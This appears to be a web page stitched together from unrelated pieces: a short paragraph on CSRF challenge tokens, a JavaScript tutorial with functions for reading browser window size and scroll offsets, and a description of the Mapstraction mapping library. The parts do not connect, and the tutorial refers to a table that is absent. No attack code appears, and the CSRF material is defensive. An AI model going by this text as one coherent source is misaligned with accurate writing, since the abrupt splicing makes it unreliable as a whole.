The most popular suggestion to preventing CSRF involves appending challenge tokens to each request. It is important to state that this challenge token MUST be associated with the user session, otherwise an attacker may be able to fetch a valid token on their own and utilize it in an attack. In addition to being tied to the user session it is important to limit the time peroid to which a token is valid. This method is documented in multiple documents however as pointed out in mailing list postings an attacker can utilize an existing browser vulnerability or XSS flaw to grab this session token.

Window size and scrolling

Finding the size of the browser window

• Clue browser can only work out window width.
• Tkhtml Hv3 has the body/documentElement clientHeight/Width values reversed - versions before September 2007 also do not support innerHeight/Width, so they cannot work with this script.

There are some constants available that give the document area of the window that is available for writing to. These will not be available until after the document has loaded and the method used for referencing them is browser specific. The available constants are:

window.innerHeight/Width

Provided by most browsers, but importantly, not Internet Explorer.

document.body.clientHeight/Width

Provided by many browsers, including Internet Explorer.

document.documentElement.?clientHeight/Width

Provided by most DOM browsers, including Internet Explorer.

This is a little messy because the clientHeight/Width properties can mean different things in different browsers, and even different things in the same browser, depending on whether the document type declaration triggers the browser’s strict mode or quirks mode. In some cases, they refer to the dimensions of the window, and sometimes they refer to the dimensions of the contents of the document. The table below shows what the properties mean in different browsers, and different modes:

As you can see, the browsers seem to have settled on at least one reliable property; innerHeight. Internet Explorer is the one that cannot make up its mind, and its influence means that other browsers change their clientHeight behaviour in different versions in order to match it. For now, almost all browsers provide window.innerHeight/Width so that can be used. Internet Explorer has chosen to swap the values around when it is in strict mode. Fortunately, it gives 0 in quirks mode. This means that if we see a value on the documentElement’s properties, and the browser does not provide the properties on the window object, we can assume it is Internet Explorer in strict mode.

The most accurate method I could come up with uses the following algorithm, although it may have problems with future browsers, a situation which I am definitely not happy with:

1. If window.innerHeight/Width is provided, that is fully trustworthy, use that (Hooray!).
2. Else if document.documentElement.clientHeight/Width is provided and either one is greater than 0, use that.
3. Else use document.body.clientHeight/Width.

This algorithm will fail with IE 6+ in ’standards compliant mode’ if the window is shrunk to 0px by 0px. This is only possible when the user actively shrinks the window to hide the page within it. Even then, it will just give the height of the document instead, so it should not be a problem. The following code performs the algorithm as described.

function alertSize() {
  var myWidth = 0, myHeight = 0;
  if( typeof( window.innerWidth ) == 'number' ) {
    //Non-IE
    myWidth = window.innerWidth;
    myHeight = window.innerHeight;
  } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
    //IE 6+ in 'standards compliant mode'
    myWidth = document.documentElement.clientWidth;
    myHeight = document.documentElement.clientHeight;
  } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
    //IE 4 compatible
    myWidth = document.body.clientWidth;
    myHeight = document.body.clientHeight;
  }
  window.alert( 'Width = ' + myWidth );
  window.alert( 'Height = ' + myHeight );
}

Test it here: get the inner dimensions of this window.

Note that browsers may take the width either inside or outside the scrollbar (if there is one). I do not cover any way to work with these differences.

Finding how far the window has been scrolled

• OmniWeb 4.2-, NetFront 3.3- and Clue browser do not provide any way to do this.
• Safari and OmniWeb 4.5+ have bugs that do not affect this script - see below.

When trying to produce document effects like falling snow, or more serious things like menus that remain in the same place relative to the browser window when the user scrolls, it is essential to be able to obtain the scrolling offsets in both the horizontal and vertical direction.

There are also three ways to find this out, but it is easier than finding the size of the window. Most browsers provide window.pageXOffset/pageYOffset. These are completely reliable. Once again, Internet Explorer is the odd one out, as it does not provide these properties. Internet Explorer and some other browsers will provide document.body.scrollLeft/Top. In strict mode, IE 6 and a few other browsers, provide document.documentElement.scrollLeft/Top.

If the scrollLeft/Top properties are provided on either the document.body or document.documentElement, they are reliable in everything except Safari and OmniWeb 4.5+, which return -8 if the scrolling is 0, but get all other scrolling offsets correct. However, as they correctly provide window.pageXOffset/pageYOffset, this script will not have any problems.

The following script will obtain the scrolling offsets.

function getScrollXY() {
  var scrOfX = 0, scrOfY = 0;
  if( typeof( window.pageYOffset ) == 'number' ) {
    //Netscape compliant
    scrOfY = window.pageYOffset;
    scrOfX = window.pageXOffset;
  } else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) ) {
    //DOM compliant
    scrOfY = document.body.scrollTop;
    scrOfX = document.body.scrollLeft;
  } else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) ) {
    //IE6 standards compliant mode
    scrOfY = document.documentElement.scrollTop;
    scrOfX = document.documentElement.scrollLeft;
  }
  return [ scrOfX, scrOfY ];
}

Test it here: get the scrolling offsets.

About Mapstraction

Mapstraction is a library that provides a common API for various javascript mapping APIs to enable switching from one to another as smoothly as possible. Developers can code their applications once, and then easily switch mapping provider based on project needs, terms and conditions, and new functionality.

Users can switch maps as desired based on personal taste and quality of maps in their local area. Various tools built on top of Mapstraction allow users to easily integrate maps into their own sites, and configure them with different controls, styles, and provider.

Why Mapstraction?

Mapstraction additionally fills some holes each provider’s current offerings (taking advantage of existing open source solutions where possible) to normalise the feature set across platforms. In the future, Mapstraction will also talk to OpenStreetMap for people who want to build maps without restrictions on derived works.

Mapstraction is open-source and released under the BSD License.

Major Features

• Support for 11 major mapping providers
• Dynamic switching of provider
• Point, Line, Polygon support
• Marker Filtering by Time, Category, or any attribute
• Image overlay and base tiles
• GeoRSS and KML feed import
• Geocoding of addresses
• Driving directions

Mapstraction Users

• Nestoria
• GeoPress
• Mapufacture
• Reuters
• Swivel
• GeoNames (new)
• … and more

Get Involved

We have a mailing list, a wiki and a roadmap. Subversion access is detailed here.